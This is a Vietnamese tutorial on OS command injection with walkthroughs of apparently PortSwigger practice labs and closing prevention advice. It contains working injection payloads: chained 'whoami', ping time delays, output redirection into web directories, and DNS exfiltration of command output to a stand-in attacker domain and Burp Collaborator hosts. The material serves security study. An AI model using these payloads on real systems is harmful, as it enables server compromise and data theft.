Command injection
Trong phần này giải thích: khái niệm command injection, mô tả cách phát hiện và khai thác lỗ hổng và cách ngăn chặn...
Last updated
Trong phần này giải thích: khái niệm command injection, mô tả cách phát hiện và khai thác lỗ hổng và cách ngăn chặn...
Last updated
Command injection là một lỗ hổng bảo mật web cho phép attacker tấn công thực thi các lệnh hệ điều hành (OS) tùy ý trên máy chủ đang chạy ứng dụng và thường xâm phạm hoàn toàn ứng dụng cũng như tất cả dữ liệu.
Giả sử, có một ứng dụng mua sắm cho phép người dùng xem liệu rằng một mặt hàng có còn trong 1 cửa hàng cụ thể nào không. Thông tin này được truy cập qua URL sau:
Để cung cấp thông tin hàng hóa trong kho, ứng dụng phải truy vấn các hệ thống kế thừa khác nhau. Vì các lí do, chức năng này được triển khai bằng cách gọi lệnh shell với productID và storeID làm đối số:
stockreport.pl 381 29
Lệnh này cho kết quả là trạng thái hàng trong kho cho mặt hàng đã chỉ định trược trả lại cho người dùng.
Vì ứng dụng không thực hiện biện pháp bảo vệ nào đối với việc tiêm lệnh của hệ điều hành, nên attacker có thể gửi thông tin đầu vào như sau để thực thi một lệnh tùy ý:
& echo misa0136 &
Giả sử đầu vào này được gửi trong tham số productID, thì lệnh này được ứng dụng thực thi là:
stockreport.pl & echo misa0136 & 29
Kết quả:
Error - productID was not provided
misa0136
29 : command not found
Giải thích: 1. Lệnh ban đầu stockreport.pl đã được thực thi mà không có các dối số dự kiến của nó, do đó đã trả về thông báo lỗi 2. Lệnh echo đã được thực thi, chuỗi cung cấp đã được ouput 3. Đối số 29 được thực thi dưới dạng lệnh -> gây ra lỗi
Tại sao lại đặt dấu tách lệnh & ? Vì nó tách lệnh được chèn khỏi bất kỳ thứ gì theo sau điểm chèn. Điều này làm giảm khả năng những gì tiếp theo sẽ ngăn lệnh được đưa vào.
Thực hành lab: (Level Apprentice)
Tên lab: OS command injection, simple case
Nội dung lab: Trang web này có lỗ hổng OS command injection trong trình kiểm tra sản phẩm trong kho. Để giải quyết lab, thực hiện lệnh whoami để xác định tên người dùng hiện tại.
Thực hiện lab:
Sử đụng Burp Suite để bắt request
Chèn lệnh vào storeID:
productId=2&storeId=1&whoami
Trên thực tế, có nhiều trường hợp xảy ra đây là lỗ hổng blind. Điều này có nghĩa là ứng dụng không trả về đầu ra từ lệnh trong phản hồi HTTP của nó. Nhưng lỗ hổng này vẫn có thể được khai thác nhưng cần có kĩ thuật nâng cao hơn.
Có thể sử dụng lệnh được đưa vào sẽ kích hoạt thời gian trễ, cho phép bạn xác nhận rằng lệnh đã thực thi dựa trên thowig gian ứng dụng cần để phản hồi. Lệnh ping là một cách hiệu quả để thực hiện việc đánh giá này, vì nó cho phép bạn chỉ định số lượng gói ICMP sẽ gửi và do đó, biết thời gian để chạy:
& ping -c 10 127.0.0.1 &
Thực hành lab: (Level Practitioner)
Tên lab: Blind command injection with time delays
Nội dung lab: Trang web này chứa lỗ hổng blind command injection trong chức năng feedback. Để hoàn thành lab, khai thác lỗ hổng này bằng cách gây ra độ trễ 10s.
Thực hiện lab:
Bắt request bằng Burp Suite
Chèn lệnh : ||ping -c 10 127.0.0.1|| trong trường email
Có thể chuyển hướng đầu ra từ lệnh được chèn vào một tệp trong thư mục gốc của web mà sau đó có thể truy xuất ra trình duyệt. Ví dụ, nếu ứng dụng phục vụ tài nguyên từ vị trí hệ thống tệp /var/www/static thì bạn có thể gửi thông tin đầu vào sau:
& whoami > /var/www/static/whoami.txt &
Ký tự > gửi đầu ra từ câu lệnh whoami đến tệp được chỉ đinh. Sau đó có thể sử dụng trình duyệt để truy xuất lệp và xem đầu ra từ lệnh được đưa vào. Ví dụ : http//example.com/whoami.txt
Thực hành lab: (Level Practitioner)
Tên lab: Blind command injection with ouput redirection
Nội dung lab: Trang web này tồn lại lỗ hổng blind command injection trong phần chức năng feedback. Ứng dụng thực thi shell chứa các chi tiết do người dùng cung cấp. Có thể sử dụng chuyển hướng đầu ra để năm bắt đầu ra từ lệnh. Có một thư mục có thể ghi lại /var/www/images/ . Thực hiện lệnh whoami và truy xuất đầu ra
Thực hiện lab:
Sử dụng Burpsuite để chặn và sửa đổi request
Chèn lệnh vào trường email: email=||whoami > /var/www/images/result.txt
Truy cập vào Proxy -> History và gửi 1 request có chứa tham số filename đến Repeater. Thay đổi giá trị tham số filename thành filename=result.txt
Hoàn thành lab.
Có thể sử dụng một lệnh được đưa vào sẽ kích hoạt tương tác mạng ngoài băng tầng với hệ thống mà bạn kiểm soát. Ví dụ: & nslookup abc.web-attacker.com &
Payload này sử dụng lệnh nslookup để thực hiện tra cứu DNS cho miền được chỉ định. Attacker có thể theo dõi quá trình tra cứu này và do đó phát hiện ra rằng lệnh đã được đưa vào thành công.
Kênh ngoài băng tần này cũng cung cấp một cách dễ dàng để trích xuất đầu ra từ các lệnh được đưa vào. Ví dụ: & nslookup '
whoami
'.abc.web-attacker.com &
Kết quả là: wwwuser.abc.web-attacker.com
Thực hành lab: (Level Practitioner)
Tên lab: Blind command injection with out-of-band interaction
Nội dung lab: Trang web này tồn tại lỗ hổng blind command injection trong chức năng feedback. Để giải quyết, đưa ra tra cứu DNS cho Burp Collaborator
Thực hiện lab:
Sử dụng Burp suite để chặn và sửa đổi request
Sử dụng Burp Collaborator. Copy link trong Collaborator để chèn vào payload: & nslookup n2quaia5yblgce463rxys80xqowek3.oastify.com &
Gửi request để hoàn thành lab
Thực hành lab: (Level Practitioner)
Tên lab: Blind command injection with out-of-band data exfiltration
Nội dung lab: Trang web này chứa lỗ hổng blind command injection trong chức năng feedback của nó. Ứng dụng này thực thi những shell command do người dùng cung cấp. Lệnh được thực thi không đồng bộ và không ảnh hưởng đến phản hồi của ứng dụng. Không thể chuyển hướng đầu ra vào một vị trí mà bạn có thể truy cập. Để giải quyết bài lab này, hãy thực thi lệnh whoami và lọc đầu ra thông qua truy vấn DNS tới Burp Collaborator. Đăng nhập để hoàn thành lab. (Lưu ý, chỉ sử dụng Burpsuite Pro mới có thể hoàn thành lab này)
Thực hiện lab:
Sử dụng Burp suite để chặn và sửa đổi request
Chọn Burp Collaborator và copy to clipboard.
Chèn link vừa copy vào payload trong trường email. Payload:
email=misa011001@gmail.com||nslookup+'whoami'.sjf6hnj26q46rk3sd4d9xwod94fv3k.oastify.com||
Sau khi gửi payload, trong giao diện của Collaborator, nhấn Pull now. Nhận được kết quả:
Submit tên người dùng tìm được để hoàn thành lab
Cách hiệu quả nhất cho đến nay để ngăn chặn các cuộc tấn công command injection là không bao giờ được gọi các lệnh của hệ điều hành từ lớp ứng dụng. Trong hầu hết các trường hợp, có nhiều cách thay thế để triển khai chức năng được yêu cầu bằng cách sử dụng API.
Nếu điều trên là không thể, hãy thực hiện một số biện pháp sau:
Xác thực với danh sách trắng
Xác thực đầu vào là một số
Xác thực đầu vào chỉ chứa kí tự chữ và số, không có cú pháp hoặc khoảng trắng nào khác
Trên đây là một số kiến thức cơ bản về command injection. Hy vọng, bạn đọc có thể hiểu thêm về lỗ hổng này.